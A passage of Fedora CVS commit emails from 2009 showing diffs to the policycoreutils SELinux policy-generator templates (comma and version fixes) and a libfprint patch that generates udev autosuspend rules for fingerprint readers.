-+         manage_files_pattern($1, TEMPLATETYPE_rw_t TEMPLATETYPE_rw_t)
++         manage_files_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
 +')
 +
 +########################################
@@ -12839,9 +12839,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_rw_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_rw_t,TEMPLATETYPE_rw_t)
-+         manage_files_pattern($1,TEMPLATETYPE_rw_t,TEMPLATETYPE_rw_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_rw_t,TEMPLATETYPE_rw_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
++         manage_files_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
 +')
 +
 +"""
@@ -12860,7 +12860,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/script.py policycoreutils-2.0.74/gui/templates/script.py
 --- nsapolicycoreutils/gui/templates/script.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/script.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,99 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12963,7 +12963,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/semodule.py policycoreutils-2.0.74/gui/templates/semodule.py
 --- nsapolicycoreutils/gui/templates/semodule.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,41 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13008,7 +13008,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/tmp.py policycoreutils-2.0.74/gui/templates/tmp.py
 --- nsapolicycoreutils/gui/templates/tmp.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/tmp.py	2009-09-30 11:32:04.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/tmp.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,97 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13039,9 +13039,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_rules="""
-+manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t TEMPLATETYPE_tmp_t)
-+manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t TEMPLATETYPE_tmp_t)
-+files_tmp_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_tmp_t, { file dir })
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++files_tmp_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t, { file dir })
 +"""
 +
 +if_rules="""
@@ -13097,9 +13097,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_tmp_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_tmp_t,TEMPLATETYPE_tmp_t)
-+         manage_files_pattern($1,TEMPLATETYPE_tmp_t,TEMPLATETYPE_tmp_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_tmp_t,TEMPLATETYPE_tmp_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++         manage_files_pattern($1, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
 +')
 +"""
 +
@@ -13109,7 +13109,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/user.py policycoreutils-2.0.74/gui/templates/user.py
 --- nsapolicycoreutils/gui/templates/user.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/user.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/user.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,182 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13238,7 +13238,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +te_transition_rules="""
 +optional_policy(`
-+	APPLICATION_role(TEMPLATETYPE_r,TEMPLATETYPE_t)
++	APPLICATION_role(TEMPLATETYPE_r, TEMPLATETYPE_t)
 +')
 +"""
 +
@@ -13282,7 +13282,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +te_admin_domain_rules="""
 +optional_policy(`
-+	APPLICATION_admin(TEMPLATETYPE_t,TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
++	APPLICATION_admin(TEMPLATETYPE_t, TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
 +')
 +"""
 +
@@ -13291,11 +13291,11 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_newrole_rules="""
-+seutil_run_newrole(TEMPLATETYPE_t,TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
++seutil_run_newrole(TEMPLATETYPE_t, TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_lib.py policycoreutils-2.0.74/gui/templates/var_lib.py
 --- nsapolicycoreutils/gui/templates/var_lib.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_lib.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_lib.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,158 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13333,7 +13333,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +te_stream_rules="""\
 +allow TEMPLATETYPE_t TEMPLATETYPE_var_lib_t:sock_file manage_sock_file_perms;
-+files_var_lib_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_var_lib_t, sock_file)
++files_var_lib_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_var_lib_t, sock_file)
 +"""
 +
 +
@@ -13412,9 +13412,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_var_lib_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_var_lib_t,TEMPLATETYPE_var_lib_t)
-+         manage_files_pattern($1,TEMPLATETYPE_var_lib_t,TEMPLATETYPE_var_lib_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_var_lib_t,TEMPLATETYPE_var_lib_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_var_lib_t, TEMPLATETYPE_var_lib_t)
++         manage_files_pattern($1, TEMPLATETYPE_var_lib_t, TEMPLATETYPE_var_lib_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_var_lib_t, TEMPLATETYPE_var_lib_t)
 +')
 +
 +"""
@@ -13457,7 +13457,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_log.py policycoreutils-2.0.74/gui/templates/var_log.py
 --- nsapolicycoreutils/gui/templates/var_log.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_log.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_log.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,110 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13551,9 +13551,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_log_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_log_t,TEMPLATETYPE_log_t)
-+         manage_files_pattern($1,TEMPLATETYPE_log_t,TEMPLATETYPE_log_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_log_t,TEMPLATETYPE_log_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_log_t, TEMPLATETYPE_log_t)
++         manage_files_pattern($1, TEMPLATETYPE_log_t, TEMPLATETYPE_log_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_log_t, TEMPLATETYPE_log_t)
 +')
 +"""
 +
@@ -13571,7 +13571,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_run.py policycoreutils-2.0.74/gui/templates/var_run.py
 --- nsapolicycoreutils/gui/templates/var_run.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_run.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_run.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,118 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13604,12 +13604,12 @@ diff --exclude-from=exclude -N -u -r nsa
 +te_rules="""
 +manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t,  TEMPLATETYPE_var_run_t)
 +manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t,  TEMPLATETYPE_var_run_t)
-+files_pid_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_var_run_t, { file dir })
++files_pid_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t, { file dir })
 +"""
 +
 +te_stream_rules="""
 +allow TEMPLATETYPE_t TEMPLATETYPE_var_run_t:sock_file manage_sock_file_perms;
-+files_pid_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_var_run_t, sock_file)
++files_pid_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t, sock_file)
 +"""
 +
 +if_rules="""
@@ -13647,9 +13647,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_var_run_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_var_run_t,TEMPLATETYPE_var_run_t)
-+         manage_files_pattern($1,TEMPLATETYPE_var_run_t,TEMPLATETYPE_var_run_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_var_run_t,TEMPLATETYPE_var_run_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_var_run_t, TEMPLATETYPE_var_run_t)
++         manage_files_pattern($1, TEMPLATETYPE_var_run_t, TEMPLATETYPE_var_run_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_var_run_t, TEMPLATETYPE_var_run_t)
 +')
 +
 +"""
@@ -13693,7 +13693,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_spool.py policycoreutils-2.0.74/gui/templates/var_spool.py
 --- nsapolicycoreutils/gui/templates/var_spool.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_spool.py	2009-09-30 11:31:43.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_spool.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13724,10 +13724,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +files_type(TEMPLATETYPE_spool_t)
 +"""
 +te_rules="""
-+manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t TEMPLATETYPE_spool_t)
-+manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t TEMPLATETYPE_spool_t)
-+manage_lnk_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t TEMPLATETYPE_spool_t)
-+files_spool_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_spool_t, { file dir sock_file })
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++manage_lnk_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++files_spool_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, { file dir sock_file })
 +"""
 +
 +########################### Interface File #############################
@@ -13787,7 +13787,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +	')
 +
 +	files_search_spool($1)
-+        manage_files_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
++        manage_files_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
 +')
 +
 +########################################
@@ -13805,9 +13805,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_spool_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
-+         manage_files_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++         manage_files_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
 +')
 +
 +"""


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils.spec,v
retrieving revision 1.647
retrieving revision 1.648
diff -u -p -r1.647 -r1.648
--- policycoreutils.spec	1 Oct 2009 15:39:11 -0000	1.647
+++ policycoreutils.spec	1 Oct 2009 16:05:57 -0000	1.648
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -296,6 +296,9 @@ fi
 exit 0
 
 %changelog
+* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-7
+- Fixes Templates
+
 * Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-6
 - Fixes for polgengui to handle tcp ports correctly
 - Fix semanage node -a



From hadess at fedoraproject.org  Thu Oct  1 16:07:53 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  1 Oct 2009 16:07:53 +0000 (UTC)
Subject: rpms/libfprint/devel
	0001-Add-udev-rules-to-set-devices-to-autosuspend.patch, NONE,
	1.1 libfprint.spec, 1.25, 1.26 fprint-add-udev-rules.patch, 1.1, NONE
Message-ID: <20091001160753.6521711C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/libfprint/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7494

Modified Files:
	libfprint.spec 
Added Files:
	0001-Add-udev-rules-to-set-devices-to-autosuspend.patch 
Removed Files:
	fprint-add-udev-rules.patch 
Log Message:
* Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.1.0-12.pre2
- Update udev autosuspend rules and disable SGS Thomson reader


0001-Add-udev-rules-to-set-devices-to-autosuspend.patch:
 Makefile.am              |   13 ++++++--
 fprint-list-udev-rules.c |   74 ++++++++++++++++++++++++++++++++++++++++++++++-
 2 files changed, 84 insertions(+), 3 deletions(-)

--- NEW FILE 0001-Add-udev-rules-to-set-devices-to-autosuspend.patch ---
>From c60d18b9e5e7d62c27d29d4f386a296edc3c491d Mon Sep 17 00:00:00 2001
From: Matthew Garrett <mjg at redhat.com>
Date: Thu, 1 Oct 2009 15:08:41 +0100
Subject: [PATCH] Add udev rules to set devices to autosuspend

Most fingerprint readers can be suspended safely, so use
the udev rules to autosuspend them when they appear.

The script itself contains whitelists and blacklists.
---
 libfprint/Makefile.am              |   13 +++++-
 libfprint/fprint-list-udev-rules.c |   73 ++++++++++++++++++++++++++++++++++++
 2 files changed, 84 insertions(+), 2 deletions(-)
 create mode 100644 libfprint/fprint-list-udev-rules.c

diff --git a/libfprint/Makefile.am b/libfprint/Makefile.am
index 0eb5ca6..7f05468 100644
--- a/libfprint/Makefile.am
+++ b/libfprint/Makefile.am
@@ -1,6 +1,6 @@
 lib_LTLIBRARIES = libfprint.la
-noinst_PROGRAMS = fprint-list-hal-info
-MOSTLYCLEANFILES = $(hal_fdi_DATA)
+noinst_PROGRAMS = fprint-list-hal-info fprint-list-udev-rules
+MOSTLYCLEANFILES = $(hal_fdi_DATA) $(udev_rules_DATA)
 
 UPEKTS_SRC = drivers/upekts.c
 UPEKTC_SRC = drivers/upektc.c
@@ -66,6 +66,15 @@ hal_fdidir = $(datadir)/hal/fdi/information/20thirdparty/
 $(hal_fdi_DATA): fprint-list-hal-info
 	$(builddir)/fprint-list-hal-info > $@
 
+fprint_list_udev_rules_SOURCES = fprint-list-udev-rules.c
+fprint_list_udev_rules_CFLAGS = -fvisibility=hidden -I$(srcdir)/nbis/include $(LIBUSB_CFLAGS) $(GLIB_CFLAGS) $(IMAGEMAGICK_CFLAGS) $(CRYPTO_CFLAGS) $(AM_CFLAGS)
+fprint_list_udev_rules_LDADD = $(builddir)/libfprint.la
+
+udev_rules_DATA = 60-fprint-autosuspend.rules
+udev_rulesdir = $(sysconfdir)/udev/rules.d/
+
+$(udev_rules_DATA): fprint-list-udev-rules
+	$(builddir)/fprint-list-udev-rules > $@
 
 if ENABLE_UPEKTS
 DRIVER_SRC += $(UPEKTS_SRC)
diff --git a/libfprint/fprint-list-udev-rules.c b/libfprint/fprint-list-udev-rules.c
new file mode 100644
index 0000000..874e41a
--- /dev/null
+++ b/libfprint/fprint-list-udev-rules.c
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2009 Red Hat <mjg at redhat.com> 
+ * Copyright (C) 2008 Bastien Nocera <hadess at hadess.net>
+ * Copyright (C) 2008 Timo Hoenig <thoenig at suse.de>, <thoenig at nouse.net>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <config.h>
+#include <stdio.h>
+
+#include "fp_internal.h"
+
+static const struct usb_id whitelist_id_table[] = {
+    { .vendor = 0x08ff, .product = 0x2810 },
+    { 0, 0, 0, },
+};
+
+static const struct usb_id blacklist_id_table[] = {
+    { .vendor = 0x0483, .product = 0x2016 },
+    { 0, 0, 0 },
+};
+
+struct fp_driver whitelist = {
+    .id_table = whitelist_id_table,
+};
+
+static void print_driver (struct fp_driver *driver)
+{
+    int i, j, blacklist;
+
+    for (i = 0; driver->id_table[i].vendor != 0; i++) {
+	blacklist = 0;
+	for (j = 0; blacklist_id_table[j].vendor != 0; j++) {
+	    if (driver->id_table[i].vendor == blacklist_id_table[j].vendor &&
+		driver->id_table[j].product == blacklist_id_table[j].product) {
+		blacklist = 1;
+	    }
+	}
+	if (blacklist)
+	    continue;
+
+	printf ("SUBSYSTEM==\"usb\", ATTRS{idVendor}==\"%04x\", ATTRS{idProduct}==\"%04x\", ATTR{power/level}=\"auto\"\n", driver->id_table[i].vendor, driver->id_table[i].product);
+    }
+}
+
+int main (int argc, char **argv)
+{
+    struct fp_driver **list;
+    guint i;
+
+    list = fprint_get_drivers ();
+
+    for (i = 0; list[i] != NULL; i++) {
+	print_driver (list[i]);
+    }
+
+    print_driver (&whitelist);
+
+    return 0;
+}
-- 
1.6.4.4



Index: libfprint.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libfprint/devel/libfprint.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- libfprint.spec	21 Aug 2009 14:16:18 -0000	1.25
+++ libfprint.spec	1 Oct 2009 16:07:53 -0000	1.26
@@ -1,6 +1,6 @@
 Name:           libfprint
 Version:        0.1.0
-Release:        11.pre2%{?dist}
+Release:        12.pre2%{?dist}
 Summary:        Tool kit for fingerprint scanner
 
 Group:          System Environment/Libraries
@@ -8,7 +8,8 @@ License:        LGPLv2+
 URL:            http://www.reactivated.net/fprint/wiki/Main_Page 
 Source0:        http://downloads.sourceforge.net/fprint/%{name}-0.1.0-pre2.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-Patch1:		fprint-add-udev-rules.patch
+# http://thread.gmane.org/gmane.linux.fprint/1321
+Patch1:		0001-Add-udev-rules-to-set-devices-to-autosuspend.patch
 # https://bugzilla.redhat.com/show_bug.cgi?id=472103
 Patch2:		0001-Add-gdk-pixbuf-support.patch
 ExcludeArch:    s390 s390x
@@ -75,6 +76,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/%{name}.pc
 
 %changelog
+* Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.1.0-12.pre2
+- Update udev autosuspend rules and disable SGS Thomson reader
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 0.1.0-11.pre2
 - rebuilt with new openssl
 


--- fprint-add-udev-rules.patch DELETED ---



From dwalsh at fedoraproject.org  Thu Oct  1 16:10:24 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 16:10:24 +0000 (UTC)
Subject: rpms/policycoreutils/F-11 policycoreutils-gui.patch, 1.90,
	1.91 policycoreutils.spec, 1.621, 1.622
Message-ID: <20091001161024.77DBA11C048B@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7928

Modified Files:
	policycoreutils-gui.patch policycoreutils.spec 
Log Message:
* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.62-12.15
- Update to Rawhides system-config-selinux/polgengui


policycoreutils-gui.patch:
 Makefile                    |   41 
 booleansPage.py             |  247 +++
 domainsPage.py              |  154 +
 fcontextPage.py             |  223 ++
 html_util.py                |  164 ++
 lockdown.glade              |  771 +++++++++
 lockdown.gladep             |    7 
 lockdown.py                 |  382 ++++
 loginsPage.py               |  185 ++
 mappingsPage.py             |   56 
 modulesPage.py              |  190 ++
 polgen.glade                | 3305 ++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep               |    7 
 polgen.py                   | 1188 +++++++++++++++
 polgengui.py                |  627 ++++++++
 portsPage.py                |  259 +++
 selinux.tbl                 |  234 +++
 semanagePage.py             |  168 ++
 statusPage.py               |  190 ++
 system-config-selinux.glade | 3403 ++++++++++++++++++++++++++++++++++++++++++++
 system-config-selinux.py    |  189 ++
 templates/__init__.py       |   18 
 templates/boolean.py        |   40 
 templates/etc_rw.py         |  129 +
 templates/executable.py     |  368 ++++
 templates/network.py        |   80 +
 templates/rw.py             |  127 +
 templates/script.py         |   99 +
 templates/semodule.py       |   41 
 templates/tmp.py            |   97 +
 templates/user.py           |  182 ++
 templates/var_lib.py        |  158 ++
 templates/var_log.py        |  110 +
 templates/var_run.py        |  118 +
 templates/var_spool.py      |  129 +
 translationsPage.py         |  118 +
 usersPage.py                |  150 +
 37 files changed, 13954 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-11/policycoreutils-gui.patch,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- policycoreutils-gui.patch	26 Jun 2009 18:45:39 -0000	1.90
+++ policycoreutils-gui.patch	1 Oct 2009 16:10:23 -0000	1.91
@@ -1,6 +1,6 @@
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/booleansPage.py policycoreutils-2.0.64/gui/booleansPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/booleansPage.py policycoreutils-2.0.74/gui/booleansPage.py
 --- nsapolicycoreutils/gui/booleansPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/booleansPage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/booleansPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,247 @@
 +#
 +# booleansPage.py - GUI for Booleans page in system-config-securitylevel
@@ -249,9 +249,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        self.load(self.filter)
 +        return True
 +        
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/domainsPage.py policycoreutils-2.0.64/gui/domainsPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/domainsPage.py policycoreutils-2.0.74/gui/domainsPage.py
 --- nsapolicycoreutils/gui/domainsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/domainsPage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/domainsPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,154 @@
 +## domainsPage.py - show selinux domains
 +## Copyright (C) 2009 Red Hat, Inc.
@@ -407,9 +407,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +                
 +        except ValueError, e:
 +            self.error(e.args[0])
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/fcontextPage.py policycoreutils-2.0.64/gui/fcontextPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/fcontextPage.py policycoreutils-2.0.74/gui/fcontextPage.py
 --- nsapolicycoreutils/gui/fcontextPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/fcontextPage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/fcontextPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,223 @@
 +## fcontextPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -634,9 +634,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        self.store.set_value(iter, SPEC_COL, fspec)
 +        self.store.set_value(iter, FTYPE_COL, ftype)
 +        self.store.set_value(iter, TYPE_COL, "%s:%s" % (type, mls))
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/html_util.py policycoreutils-2.0.64/gui/html_util.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/html_util.py policycoreutils-2.0.74/gui/html_util.py
 --- nsapolicycoreutils/gui/html_util.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/html_util.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/html_util.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,164 @@
 +# Authors: John Dennis <jdennis at redhat.com>
 +#
@@ -802,9 +802,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +    doc += tail
 +    return doc
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.glade policycoreutils-2.0.64/gui/lockdown.glade
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.glade policycoreutils-2.0.74/gui/lockdown.glade
 --- nsapolicycoreutils/gui/lockdown.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/lockdown.glade	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.glade	2009-09-28 09:13:55.000000000 -0400
 @@ -0,0 +1,771 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
@@ -1577,9 +1577,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +</widget>
 +
 +</glade-interface>
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.gladep policycoreutils-2.0.64/gui/lockdown.gladep
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.gladep policycoreutils-2.0.74/gui/lockdown.gladep
 --- nsapolicycoreutils/gui/lockdown.gladep	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/lockdown.gladep	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.gladep	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,7 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
